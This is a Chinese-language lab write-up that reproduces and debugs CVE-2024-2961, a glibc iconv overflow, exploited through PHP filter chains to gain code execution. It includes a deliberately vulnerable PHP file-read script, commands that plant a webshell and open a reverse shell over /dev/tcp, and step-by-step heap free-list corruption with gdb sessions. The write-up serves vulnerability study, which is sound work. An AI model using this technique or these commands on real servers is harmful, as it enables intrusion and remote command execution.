0x00 写在前面 本实验是对 CVE-2024-2961 漏洞的调试分析和复现,所有实验过程均在本地搭建的虚拟机中进行。通过该实验比较深入地理解了该漏洞的成因和利用过程。
请严格遵守所在地法律法规。
0x01 简单利用环境 首先随便找一个现成的含有 php
的环境的 docker
镜像:
1 sudo docker run -it --name cve-2024-2961 -p 80:80 vulhub/php:8.3.4-apache
然后再启一个 shell
进入该容器
1 2 sudo docker exec -it 086a40912191 /bin/bash
然后为运行环境装一下必要的包
1 2 3 4 apt update apt -y install vim ncat python3 python3-pip pip install ten --break-system-packages pip install pwntools -i https://mirrors.ustc.edu.cn/pypi/simple --break-system-packages
然后验证该环境中的 libc
是否有问题,通过一个简单的 c
程序进行验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <stdio.h> #include <string.h> #include <iconv.h> void hexdump (void *ptr, int buflen) { unsigned char *buf = (unsigned char *)ptr; int i; for (i = 0 ; i < buflen; i++) { if (i % 16 == 0 ) printf ("\n%06x: " , i); printf ("%02x " , buf[i]); } printf ("\n" ); } void main () { iconv_t cd = iconv_open("ISO-2022-CN-EXT" , "UTF-8" ); char input[0x10 ] = "AAAAA劄" ; char output[0x10 ] = {0 }; char *pinput = input; char *poutput = output; size_t sinput = strlen (input); size_t soutput = sinput; iconv(cd, &pinput, &sinput, &poutput, &soutput); printf ("Remaining bytes (should be > 0): %zd\n" , soutput); hexdump(output, 0x10 ); }
在容器中编译运行,可以看到其计算错误,于是 iconv
确实是有问题的
而 劄
的编码可以简单在进行一个查看
然后给这个 php
环境中来一个默认的 index.php
文件,该文件包含了会调用iconv的地方。
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 ); if (isset ($_POST ['file' ])) { echo "File contents: " .file_get_contents ($_POST ['file' ]) ; } else { highlight_file (__FILE__ ); } ?>
然后保存文件后,我们访问本地服务,可以看到该代码即可以确认本地服务运行正常 http://127.0.0.1/index.php
。
然后,再结合现成的 exp.py
即可完成利用
1 2 3 python3 exp.py [url] [cmd] python3 exp.py http://127.0.0.1/index.php "echo '<?phpinfo();?>' > shell.php"
等待 exp
运行结束后,就会在目标机器上进行命令执行,这里我们简单执行一个写入木马到文件的操作,木马的内容也很简单就是查看本地 php
的运行环境。
当出现下面这个界面时则证明利用成功。
此时我们可以正常连接到我们的木马上:http://127.0.0.1/shell.php
。
至此,完成这个利用,当然同理也是可以反弹 shell
回来的。
1 python3 exp.py http://127.0.0.1/index.php "bash -c 'bash -i >& /dev/tcp/127.0.0.1/6666 0>&1'"
0x02 调试环境搭建 虽然 pwndbg
又更新了,导致装环境因为网络问题又整了很久,但总之是成功装好了,就是按照官方流程来即可。
Dockerfile 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 FROM ubuntu:22.04 ENV TZ=Asia/ShanghaiRUN sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list RUN sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list RUN apt update RUN echo "Asia\nShanghai" | apt install -y tzdata RUN apt install -y nginx vim gcc ncat python3 python3-pip COPY index.php /var/www/html/index.php COPY poc.c /var/www/html/poc.c COPY exp.py /var/www/html/exp.py COPY nginx.conf /etc/nginx/sites-enabled/default COPY start.sh /var/www/html/start.sh
nginx.conf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 server { listen 80 default_server; listen [::]:80 default_server; root /var/www/html; index index.php; server_name _; location / { try_files $uri $uri / /index.php?$query_string ; } location ~ \.php$ { fastcgi_split_path_info ^(.+\.php)(/.+)$ ; fastcgi_pass unix:/var/run/php/php8.1-fpm.sock; fastcgi_index index.php; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name ; fastcgi_param PATH_INFO $fastcgi_path_info ; } }
PoC.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <stdio.h> #include <string.h> #include <iconv.h> void hexdump (void *ptr, int buflen) { unsigned char *buf = (unsigned char *)ptr; int i; for (i = 0 ; i < buflen; i++) { if (i % 16 == 0 ) printf ("\n%06x: " , i); printf ("%02x " , buf[i]); } printf ("\n" ); } void main () { iconv_t cd = iconv_open("ISO-2022-CN-EXT" , "UTF-8" ); char input[0x10 ] = "AAAAA劄" ; char output[0x10 ] = {0 }; char *pinput = input; char *poutput = output; size_t sinput = strlen (input); size_t soutput = sinput; iconv(cd, &pinput, &sinput, &poutput, &soutput); printf ("Remaining bytes (should be > 0): %zd\n" , soutput); hexdump(output, 0x10 ); }
start.sh 1 2 3 #!/bin/bash /etc/init.d/php8.1-fpm start nginx -g 'daemon off;'
构建image 1 sudo docker build -t cve-2024-2961 .
启动容器 1 sudo docker run -it -p 80:80 cve-2024-2961:v2
目标程序 首先将 /etc/apt/sources.list
中的 deb-src
给取消注释。然后执行下面的命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ./configure --enable-fpm --enable-cli --disable-cgi --with-zlib --without-sqlite3 --without-pdo-sqlite make -j`nproc ` && make install apt install -y libc6=2.35-0ubuntu3 libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 --allow-downgrades apt install aptitude aptitude install libc6=2.35-0ubuntu3 libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 ./poc php -S localhost:80
dbg 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 apt install gdb curl -sSL https://install.python-poetry.org | python3 - ./setup.sh
导入导出一下 1 2 3 4 5 docker export 7691a814370e > cve-2024-2961-dbg.tar cat cve-2024-2961-dbg.tar | docker import - cve-2024-2961:exp
0x03 漏洞分析 iconv()
函数是 glibc
提供的用于字符编码转换的 API
,可以将输入转换成另一种指定的编码输出。比如将原本为 gbk
编码的输入转化为 utf-8
的编码输出。当将“劄”、“䂚”、“峛”或“湿”等采用 utf-8
编码的汉语生僻字转化为 ISO-2022-CN-EXT
字符集输出时,会导致输出缓冲区有 1-3
字节的溢出。
漏洞点 该函数的定义如下
1 2 3 size_t iconv (iconv_t cd, char **restrict inbuf, size_t *restrict inbytesleft, char **restrict outbuf, size_t *restrict outbytesleft) ;
漏洞位置代码如下,这里有三个 if
块,可以看到,第一个中有对输出缓冲区大小的判断,而第二个和第三个则没有,于是就存在漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 if (set != used){ if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8 )) { const char *escseq; if (outptr + 4 > outend) { result = __GCONV_FULL_OUTPUT; break ; } assert(used >= 1 && used <= 4 ); escseq = ")A\0\0)G)E" + (used - 1 ) * 2 ; *outptr++ = ESC; *outptr++ = '$' ; *outptr++ = *escseq++; *outptr++ = *escseq++; ann = (ann & ~SO_ann) | (used << 8 ); } else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8 )) { const char *escseq; assert(used == CNS11643_2_set); escseq = "*H" ; *outptr++ = ESC; *outptr++ = '$' ; *outptr++ = *escseq++; *outptr++ = *escseq++; ann = (ann & ~SS2_ann) | (used << 8 ); } else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8 )) { const char *escseq; assert((used >> 5 ) >= 3 && (used >> 5 ) <= 7 ); escseq = "+I+J+K+L+M" + ((used >> 5 ) - 3 ) * 2 ; *outptr++ = ESC; *outptr++ = '$' ; *outptr++ = *escseq++; *outptr++ = *escseq++; ann = (ann & ~SS3_ann) | (used << 8 ); } }
漏洞关键字符 具体而言,使用 劄
, 䂚
, 峛
或 湿
可以造成 1-3
字节的溢出。
$*H
[24 2A 48
]
$+I
[24 2B 49
]
$+J
[24 2B 4A
]
$+K
[24 2B 4B
]
$+L
[24 2B 4C
]
$+M
[24 2B 4D
]
漏洞利用条件 由于该漏洞是在 glibc
中,因此要利用该漏洞,可以由上层的各种应用只要使用了该函数均可以。
这里使用的是 php
中对 iconv
的调用来进行利用,因此构建的 php
服务端是存在任意文件读的漏洞的,然后将其转换为任意代码执行。这里主要利用任意文件读来读取 /proc/self/maps
用于获取内存中相关的内存空间以获取 php
的堆地址和 libc
的基地址,同时下载 libc
文件,以获取其中的 system
函数等的偏移。
php伪协议 php
伪协议php://filter
也叫 php
过滤器,通常可以使用来对文件进行读取,例如使用下面的伪协议可以将文件中的内容读取后使用 base64
进行编码。
1 php://filter/convert.base64-encode/resource=...
而这个过滤器可以支持多层嵌套,已管道符 |
进行分割,同时其接收的过滤器包含了 convert.iconv.X.Y
该过滤器的功能为将内容从字符集 X
转换到字符集 Y
,而该函数在 Linux 上底层实现就是采用的 iconv()
来进行的。
php堆管理机制 php
的堆管理机制可能有些复杂,这里我们不做十分详细的学习,只做简单了解,满足我们这里的漏洞利用需要即可。
php
的堆块由一个 0x200000 (2MB)
的大块组成,然后将其切分成了 512
个大小为 0x1000
字节的页。同一个页面中的块大小相等,每个页面可能按照需求被切分成相同大小的块,但页面之间的块的大小没有什么关系。
这些空闲块是按照单链表的形式进行连接的,当一个块释放的时候会被挂在头部,当申请一个块时,会从头部取下一个块,即 LIFO
的形式进行,这些块被申请和被放置的位置是之间根据块的大小来进行的,会自动放置在相应的含有这个大小的块的页中。在每个块的头部的第一个八字节记录了其下一个空闲堆块的地址。
但PHP对每个HTTP请求会创建新堆,我们要怎样才能知道该在内存的什么地方进行溢出呢?这是进行利用的一个难点。
filters链的处理与bucket队列技术 PHP在处理过滤器时,首先会获取流(读取资源)。流是存储在一系列 bucket
中的,这些 bucket
是双向链接的结构,每个 bucket
包含一定大小的缓冲区。以读取 /etc/passwd
为例,可能会有 3
个 bucket
:第一个可能包含文件的前 5
个字节,第二个 bucket
再增加 30
个字节,第三个 bucket
则再增加 1000
个字节。它们连接在一起构成了一个 bucket
传送带系统。
获取流之后就是应用过滤器对流进行处理了。处理过程是这样的:取第一个过滤器并对第一个 bucket
进行处理。为此,会分配一个与 bucke
缓冲区大小相同的输出缓冲区(例子中是5个字节)并进行转换。例如,如果过滤器是 string.upper
,它会将输入缓冲区中的每个小写字符转换为其在输出缓冲区中的大写等价物并创建一个新的指向这个输出缓冲区的 bucket
,接着继续处理第二个 bucket
,第三个 bucket
,直到最后一个 bucket
,每个输出 bucket
又形成了一个新的传送带序列:
最后在这个序列上继续应用第二个过滤器,第三个过滤器,直到处理完最后一个过滤器。
单个bucket 前面说到了 php
处理过滤器时的 bucket
队列技术,然而实际上无论是读取文件还是请求 HTTP URL
,亦或是使用ftp://协议,PHP都只生成包含整个响应内容的一个bucket。无法利用单一的bucket来填充堆或操作修改后的空闲列表。
这是为什么呢?因为借助单个 bucket
,我们可以溢出到一个空闲块并修改空闲列表,但随后我们就用完了所有的 bucket
,而要利用已修改的空闲列表进行操作至少还需要再分配两个 bucket
!(为什么至少再需要两个,看到下面空闲列表控制就能明白了)
可以用一个叫 zlib.inflate
的过滤器来解决这个问题。该过滤器接收流并对其进行解压缩处理。为此,它会分配一个大小为8页( 0x8000
字节)的缓冲区并将流填充至其中。如果这个缓冲区不足以容纳全部数据, 它将再新创建一个相同大小的缓冲区来存储剩余部分;若前两个缓冲区仍不够用, 则继续增加更多的缓冲区。然后将每个缓冲区都添加到 bucket
中。可以使用此过滤器创建任意数量的 bucket
:
然而,这些 bucket
的缓冲区大小为 0x8000
,这个大小并不利于利用;这种大小的缓冲区分配方式与上面描述的不同,并且在释放后不会进入空闲列表。因此需要调整存储 bucket
的大小。
分块 可以利用过滤器 dechunk
,该过滤器用于解码经过 HTTP-chunked
编码的字符串。
HTTP-chunked
编码通过数据块(非堆内存块)发送数据。它先发送一个以十六进制表示的大小,紧接着是一个换行符,然后是相应大小的数据块,再接一个换行符。接着发送另一个大小、另一个数据块、再一个大小、又一个数据块,并通过发送大小为 0
来指示数据的结束,如图示:
解块后结果是:This is how the chunked encoding works
使用此过滤器,调整 bucket
的大小听起来像是儿戏:在每个 bucket
中,我们用我们想要的大小作为数据的前缀(例如,第一个 bucket
中的 0x148
,第二个 bucket
的 0x100
等),然后我们放置数据,最后一个0表示我们完成了。设置 dechunk
的 buckets
。
它看起来不错,但它不起作用。虽然桶是单独处理的,但桶并不是独立的:它们都被解析为一个大流。当 dechunk
过滤器处理流时,它读取第一个 bucket
中的大小 0x148
,取出 0x148
字节,然后读取大小为零,这会导致它停止解析。它不会去第二桶。它只是完全停止解析。我们操作的最终结果是,我们从几个桶(好)变回了一个桶(坏)。
幸运的是,找到一种方法来规避这一点并不难:在每个 bucket
中,我们提供一个大小和一个数据块。为了做到这一点,我们不是天真地写一个尺寸,而是用数千个零来填充它,以得到这样的结果:
那么为了得到任意大小的bucket,我们应在每个bucket的前面先填充成千上万个零,然后提供一个大小和数据块,如下所示:
空闲列表控制 目标是通过将某些指针的最低有效位(LSB)覆盖为值 0x48
(ASCII中的H)来修改某个空闲列表。为了能无条件地达到相同效果,针对大小为 0x100
的块,因为这些块地址的最低有效位总是零。这意味着我们的溢出效果始终相同:给一个块指针增加 0x48
。
通过下面六个步骤来修改指针达到控制空闲列表的目的:
为了便于描述将大小为 0x100
的块的空闲列表命名为 FL[0x100]
,假设已经通过分配大量 0x100
大小的块成功填充了堆。因此,在内存中的某个位置,必有三个连续的空闲块 A
、B
和C
,其中 A
是 FL[100]
的头。A
指向B
,B
指向C
(步骤1)。我们可以分配这三个块(步骤2),然后再次释放它们(步骤3)。此时,空闲列表被反转:我们得到的是 C→B→A
。接着我们再次进行分配,但这次我们在C
的偏移量 0x48
处放置了一个任意指针 0x1122334455
(步骤4)。再次释放它们(步骤5)后,状态与步骤1完全相同,但有一个小差异:在 C+0x48
处存在一个任意指针。现在我们可以从块A
执行溢出操作,这将改变B中包含的指针的位置。它现在指向了 C+0x48
的位置,结果使得空闲列表变为 B \rightarrow C+0x48 \rightarrow 0x1122334455
。再进行 3
次分配,就可以让 PHP
分配在我们的任意地址。于是拥有了一个“写入任意位置”的功能。
回到漏洞利用的实现上来,在此处描述的各个步骤中,分配块然后释放块。但我们无法真正摆脱bucket:我们只能改变它们的大小。然而,我们只关心大小为 0x100
的块—好像其他块不存在一样!因此将每个 bucket
构建为如下 HTTP
分块:
对于漏洞利用的每个步骤,都会调用 dechunk
过滤器:因此每个 bucket
的大小都会发生变化。有些 bucket
的大小变为 0x100
,因此在漏洞利用中“出现”,而有些 bucket
则变小,因此消失。这为我们提供了一种完美的方法,可以让 bucket
在特定时刻实现,并在不再需要它们时将其丢弃。
代码执行 虽然可以通过读取 /proc/self/maps
来查看内存区域,但我们并不清楚自己在堆中的确切位置。可以通过定位PHP的堆来完全忽略这个问题。它很容易识别。它的顶部有一个 _zend_mm_heap
结构,其中包含非常有用的字段。
首先,它包含每个空闲列表。通过覆盖空闲列表,可以获得任意数量、任意大小的写入内容来覆盖最后一个字段 custom_heap
,其中包含 emalloc()
、efree()
和 erealloc()
的替代函数(类似于 glibc
中的 _malloc_hook
及其同类函数)。然后将 use_custom_heap
设置为 1
,并在 bucket
上调用 free()
,从而获得带有受控参数的任意函数调用。由于可以使用文件读取来访问二进制文件,因此可以构建花哨的 ROP
链,但为了尽可能通用,故将 custom_heap.free
设置为 system()
,允许我们以 CTF
方式运行任意 bash
命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 struct _zend_mm_heap { ... int use_custom_heap; ... zend_mm_free_slot *free_slot[ZEND_MM_BINS]; ... union { struct { void *(*_malloc)(size_t ); void (*_free)(void *); void *(*_realloc)(void *, size_t ); } std ; } custom_heap; };
利用概述 利用脚本执行了三个请求:首先下载 /proc/self/maps
文件,并从中提取 PHP
堆的地址和 libc
库的文件名。接着下载 libc
二进制文件来提取 system()
函数的地址。最后执行一次最终请求来触发溢出并执行预设的任意命令。
0x04 开始调试 总体思路 本次调试分成以下多个步骤进行:
理性认识堆块放置的位置和相关堆块的长相 —— poc1
在堆布局中进行一个 0x100
的堆块的申请 —— poc2
在堆布局中进行一个 0x100
的堆块的释放 —— poc3
组合利用 malloc
和 free
的能力,结合漏洞,实现指针的覆盖 —— poc4
利用利用并布置相关命令,实现 getshell
—— poc5
启动容器 在调试之前,确保你的容器跑起来的时候,加入了正确的参数,否则一些调试无法做到,比如关闭随机化。
1 2 sudo docker run -it -p 80:80 --privileged --cap-add sys_ptrace --security-opt seccomp=unconfined cve-2024-2961:exp /bin/bashsudo docker exec -it 590d59c9aae6 /bin/bash
这里我们先通过文件 /proc/self/maps
查看系统中当前进程的内存映射信息
/proc/self/maps
是一个特殊的文件,在 Linux 系统中用于显示当前进程(即访问 /proc/self
时的进程)的内存映射信息。这个文件包含了当前进程的内存区域的信息,包括它们的起始和结束地址、权限、偏移量、设备、inode 以及对应的文件路径。
通过任意文件读取,获取内存映射信息找到 php
堆的内存,php
的堆内存非常好识别,大小固定为 2MB
(0x200000
)
简单先看看,可以发现此时没有一个映射是满足的,因为我们还没有将 php
运行起来
然后我们在一个终端中将 php
跑起来再看看
1 2 3 4 5 php -S localhost:80 curl -X POST -d "file=/var/www/html/poc.c" http://localhost/index.php
此时看到的数据依然是一样的,还是没有 php
及 php
的堆出现。
那我们试试,用 gdb
将程序暂停起来
1 2 3 4 5 6 <?php $poc = "php://filter/read=convert.base64-encode/resource=start.sh" ;$data = file_get_contents ($poc );var_dump ($data );?>
然后将程序跑起来,停止在断点处,依然没有出现,气死我了
1 2 pwndbg> b *_php_stream_fill_read_buffer+309 pwndbg> r poc.php
看来还是从 gdb
内部来观测吧,简单将其反汇编看看代码段。
1 pwndbg> disassemble _php_stream_fill_read_buffer
然后得到 +309
附近的数据
0x000000000046ab4f <+303>: mov rsi,rbp 0x000000000046ab52 <+306>: mov rdi,rbx 0x000000000046ab55 <+309>: call QWORD PTR [rax] 0x000000000046ab57 <+311>: cmp eax,0x2
然后,先写一个简单的 poc.py
参考 exp
部分再提供的代码。
然后运行起来后,会在同目录下生成5个文件分别如下:
然后我们一一介绍进行调试
确定php堆头 首先我们需要确定 php
的堆起始地址,这里我通过调试来找的,通过命令 vmmap
来寻找:
这里我们定位到它是通过以下几个条件:
权限为 rw-p
大小为 2MB=0x200000
不属于什么有名有姓的程序文件
于是找到了起始地址是 0x7ffff5800000
于是,根据偏移 0x40
,我们得到了 php_heap
地址为 0x7ffff5800040
。
观察堆结构长相 在有了上述的堆起始地址后,我们来感性观测一下堆结构,我们先在 ~/.gdbinit
中定义几个函数,方便操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # ~/.gdbinit # source /var/www/html/pwndbg/gdbinit.py source /var/www/html/pwndbg/gdbinit.py define php_heap p *(struct _zend_mm_heap *) 0x7ffff5800040 end define pbucket p *(php_stream_bucket *) $arg0 end define pchunk x/4gx $arg0 end define pbucketall pbucket $arg0 set $bucket = (php_stream_bucket*) $arg0 if $bucket->next != 0 pbucketall $bucket->next end end
然后,需要考虑我们的利用是分配 0x100
的堆,所以,我们尽可能关注这个大小的堆的情况。于是我们根据头文件 zend_alloc_sizes.h
可以得知 free_slot
的大小分布情况
1 2 3 4 5 6 7 8 #define ZEND_MM_BINS_INFO(_, x, y) \ _( 0, 8, 512, 1, x, y) \ _(14 , 224 , 18 , 1 , x, y) \ _(15 , 256 , 16 , 1 , x, y) \ _(29 , 3072 , 4 , 3 , x, y)
可以看到,0x100=256
对应的下标是 15
。
poc1 poc1
中关键的 filter
如下,主要观测下,堆的长相和堆块放置的位置。
1 2 3 filters = [ "zlib.inflate", ]
观测第一次收放后 free_slot
情况,在 _php_stream_fill_read_buffer+309
处下断点,将程序跑起来,喂的输入是 poc1.php
。
1 2 pwndbg> b *_php_stream_fill_read_buffer+309 pwndbg> r poc1.php
然后使用自定义命令 php_heap
查看堆块数据
然后我们就直接找关心的 0x100
所属的,即下标偏移为 15
处的,执行 p $1.free_slot[15]
此时,free_slot
中堆头的地址是 0x7ffff5887100
poc2 poc2
中关键的 filter
如下,此时,我们希望申请一个 0x100
的堆块。
1 2 3 4 5 6 7 filters = [ # zlib解压缩 "zlib.inflate", # 让php分配0x100大小的堆 "dechunk", "convert.iconv.latin1.latin1" ]
接下来,我们尝试在堆上进行操作,将这个 0x100
的堆块拿到,并且我们还知道,他的下一个大小为 0x100
的堆块是物理紧邻其后的。
1 2 pwndbg> b *_php_stream_fill_read_buffer+309 pwndbg> r poc2.php
此时,我们 c
让程序执行在 "zlib.inflate"
,此时参数 brig_inp
指向了 0x7ffff5863120
所以可以通过这个查看函数转换前后,buf
的相关信息。
接下来,查看 brig_inp
所指向位置的 buf
信息 (0x7fffffffaa30
-> 0x7ffff5863120
),即输入的 bucket
信息,可以看到这个大小是 32768=0x8000
于是我们再 c
一下,将程序停在 dechunk
,然后再看一次,可以看到这次 bucket
内容,发现 buf
的堆地址没变,只有 buflen
被修改为了 0x100
。
然后我们将程序停止在 status = filter->fops->filter(stream, filter, brig_inp, brig_outp, NULL, flags);
执行之后,在判断 break
当前循环的 if
之前停下。
1 2 3 pwndbg> b *php_iconv_stream_filter_do_filter+191 pwndbg> c pwndbg> ni
如下图所示
然后再查看输入输出中的 bucket
情况,可以看到 0x7ffff5887100
处的堆块已经被申请到,同时 free_slot
中的 0x100
堆块起始也变成了下一个堆块 0x7ffff5887200
。
poc3 poc3
中关键的 filter
如下,此时,我们希望释放一个 0x100
的堆块。
1 2 3 4 5 6 7 8 9 10 filters = [ # zlib解压缩 "zlib.inflate", # 让php分配0x100大小的堆 "dechunk", "convert.iconv.latin1.latin1", # 释放0x100大小的堆 "dechunk", "convert.iconv.latin1.latin1" ]
poc1 执行一个 c 程序就结束了 poc2 执行三个 c 程序就结束了 poc3 执行五个 c 程序就结束了 poc4 执行七个 c 程序就结束了
所以,我们在三次 c
之后就是第二个 dechunk
执行完毕,这时我们查看 brig_inp
,然后再下第二个断点在 php_iconv_stream_filter_do_filter
执行完毕后等着。
所以,直接快进到下面,查看释放前堆的情况,尤其是 free_slot
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # gdb php pwndbg> b *_php_stream_fill_read_buffer+309 pwndbg> r poc3.php ... pwndbg> c pwndbg> c pwndbg> c pwndbg> c pwndbg> p *brig_inp.head $1 = { next = 0x0, prev = 0x0, brigade = 0x7fffffffaa20, buf = 0x7ffff5886000 'A' <repeats 16 times>, '0' <repeats 184 times>..., buflen = 16, own_buf = 1 '\001', is_persistent = 0 '\000', refcount = 1 }
如下图所示,可以看到,此时 free_slot
的头部为 0x7ffff5886200
,同时 brig_inp.head
中的 buf
是 0x7ffff5886000
。
然后再开始下断点,再走程序
1 2 3 pwndbg> b *php_iconv_stream_filter_do_filter+191 pwndbg> c pwndbg> n
此时,程序停在 if
退出的位置上
然后我们看释放吐出来的堆块信息,此时可以看到 0x100
的堆的地址是 0x7ffff5886000
这与我们 brig_inp.head
时看到的一致,从结果可以看出,大小为 0x100
的堆(0x7ffff5886000
)已经被释放并且被放入 free_slot
当中,所以起始地址才是它。
poc4 在上述 poc2
和 poc3
的基础上,我们能实现申请一个 0x100
的堆块和释放一个 0x100
的堆块了,相当于我们已经能进行 malloc
和 free
了。然后就可以开始尝试进行利用链的构造。所以我们构造的利用链如下:
最开始申请 0x100
大小的堆时,free
链为 0x7ffff588a100
-> 0x7ffff588a200
-> 0x7ffff588a300
-> 0x7ffff588a400
-> 0x7ffff588a500
。
申请三个堆以后,free
链为 0x7ffff588a400
-> 0x7ffff588a500
-> 0x7ffff588a600
。
依次释放三个堆后,free
链为 0x7ffff588a300
-> 0x7ffff588a200
-> 0x7ffff588a100
-> 0x7ffff588a400
-> 0x7ffff588a500
。(倒序一下)
再次申请两个堆,此时获取到的堆是 0x7ffff588a300
和 0x7ffff588a200
,此时 free
链为 0x7ffff588a100
-> 0x7ffff588a400
-> 0x7ffff588a500
。
再释放这两个堆后,free
链为 0x7ffff588a200
-> 0x7ffff588a300
-> 0x7ffff588a100
-> 0x7ffff588a400
-> 0x7ffff588a500
。(再将 2 和 3 倒叙一下)
触发漏洞,这个时候,0x7ffff588a200
将会被用来存放 iconv
的结果,所以就能往后溢出一个字节去覆盖物理后面的下一个块 0x7ffff588a300
的第一个字节,在 poc
中是溢出为 0x48
,于是原始的 0x7ffff588a300
的第一个值就从 0x7ffff588a100
变成了 0x7ffff588a148
了。于是 free
链为 0x7ffff588a300
-> 0x7ffff588a148
于是,得到的 poc4
中的关键的 filter
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 filters = [ # zlib解压缩 "zlib.inflate", # 第一步 "dechunk", "convert.iconv.latin1.latin1", # 第二步 "dechunk", "convert.iconv.latin1.latin1", # 第三步触发漏洞 "dechunk", "convert.iconv.UTF-8.ISO-2022-CN-EXT" ]
于是我们也是直接快进下面的过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # gdb php pwndbg> b *_php_stream_fill_read_buffer+309 pwndbg> r poc4.php pwndbg> c pwndbg> c pwndbg> c pwndbg> c pwndbg> c pwndbg> c pwndbg> b *php_iconv_stream_filter_do_filter+191 pwndbg> c pwndbg> n pwndbg> set $phpheap = (struct _zend_mm_heap *) 0x7ffff5800040 pwndbg> p $phpheap->free_slot[15] $1 = (zend_mm_free_slot *) 0x7ffff588a200
直接查看最后一次覆盖后,堆块的信息,可以看到我们在 0x7ffff588a200
中成功通过溢出将下一个堆块 0x7ffff588a300
原始的值 0x7ffff588a100
覆盖为了 0x7ffff588a148
。
从上面的内存布局可以看出,程序已经按照我们的设想触发漏洞,溢出覆盖了 free_slots
的指针。
poc5 在这里有了上面的指针劫持之后,我们只需要进行关键位置的替换操作即可。
如下面的代码所示,最终的利用是通过控制 _zend_mm_heap
结构体中的custom_heap
。所以要将其中的 use_custom_heap
设置为 1
(第三行),同时要将 37-39
对应的函数指针也填写上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 struct _zend_mm_heap {#if ZEND_MM_CUSTOM int use_custom_heap; #endif #if ZEND_MM_STORAGE zend_mm_storage *storage; #endif #if ZEND_MM_STAT size_t size; size_t peak; #endif zend_mm_free_slot *free_slot[ZEND_MM_BINS]; #if ZEND_MM_STAT || ZEND_MM_LIMIT size_t real_size; #endif #if ZEND_MM_STAT size_t real_peak; #endif #if ZEND_MM_LIMIT size_t limit; int overflow; #endif zend_mm_huge_list *huge_list; zend_mm_chunk *main_chunk; zend_mm_chunk *cached_chunks; int chunks_count; int peak_chunks_count; int cached_chunks_count; double avg_chunks_count; int last_chunks_delete_boundary; int last_chunks_delete_count; #if ZEND_MM_CUSTOM union { struct { void *(*_malloc)(size_t ); void (*_free)(void *); void *(*_realloc)(void *, size_t ); } std ; struct { void *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC); void (*_free)(void * ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC); void *(*_realloc)(void *, size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC); } debug; } custom_heap; HashTable *tracked_allocs; #endif };
所以,调整的利用思路为:
(承接上面的最后一步)触发漏洞,这个时候,0x7ffff588a200
将会被用来存放 iconv
的结果,所以就能往后溢出一个字节去覆盖物理后面的下一个块 0x7ffff588a300
的第一个字节,在 poc
中是溢出为 0x48
,于是原始的 0x7ffff588a300
的第一个值就从 0x7ffff588a100
变成了 0x7ffff588a148
了。于是 free
链为 0x7ffff588a300
-> 0x7ffff588a148
。
在上一步,我们可以将一个我们溢出后的地址 0x7ffff588a148
挂在链上,我们再申请两次即可以申请到该地址。而同时,这个地址是位于堆 0x7ffff588a100
中,而 0x7ffff588a100
这个堆是我们之前就申请过的,因此可以提前在 0x7ffff588a148
中任意布置我们想要的数据,于是可以将其指向 _zend_mm_heap
,这样就可以实现将 free
链变成: 0x7ffff588a300
-> 0x7ffff588a148
-> _zend_mm_heap
。
观测 _zend_mm_heap
的结构 free_slot
域在很前面的位置上,而在我们当前的 free
控制的堆长度为 0x100
。因此,其中所有的 free_slot
我们都可以在申请到 _zend_mm_heap
之后,对其中任意的 free_slot
进行修改。_zend_mm_heap
的地址是 0x7ffff5800040
我们直接将 0x7ffff588a148
-> 0x7ffff5800050
这样 0x7ffff580050
处被理解成下一个空闲堆块,于是 free
链变成: 0x7ffff588a300
-> 0x7ffff588a148
-> 0x7ffff580050
->*(0x7ffff580050)
。
1 2 3 4 5 6 7 8 9 10 pwndbg> php_heap $1 = { // 0x7ffff5800040 use_custom_heap = 0, storage = 0x0, // 0x7ffff5800050 size = 484232, peak = 484232, // 0x7ffff5800060 free_slot = {0x7ffff5888008, 0x7ffff5801050,...
然后,我们再连续申请2次,即可把前面堆块拿出来,这时候 free
链的表头是 0x7ffff580050
->*(0x7ffff580050)
。
根据上面的分析,我们要覆盖 _malloc
,_free
和 realloc
三个指针,于是需要写入的空间大小是 0x8*3=0x18
,所以,我们覆盖 free_slot
中大小为 0x18
的 free
列表的头为需要覆盖的 custom_heap
的地址,这样当我们发送三个地址过去时,正好就会分配这个大小的堆,实现对 custom_heap
的覆盖修改。而我们执行命令被放到什么堆中取决于我们命令的长度,因此应该差不多都行,这里按照 poc
中所写,取 0x140
的值,所以,我们需要修改 free_slot
中 0x140
对应的 free
列表的头,如果命令的长度不够,可以通过末尾拼接 \x00
来凑数。首先,要把 size
位设置为 0x200000
暂时没懂啥意思。
写入 use_custom_heap
和 custom_heap
的值,再写入需要执行的命令字符串,这样当这堆块释放的时候,就会调用 system
执行指定命令。
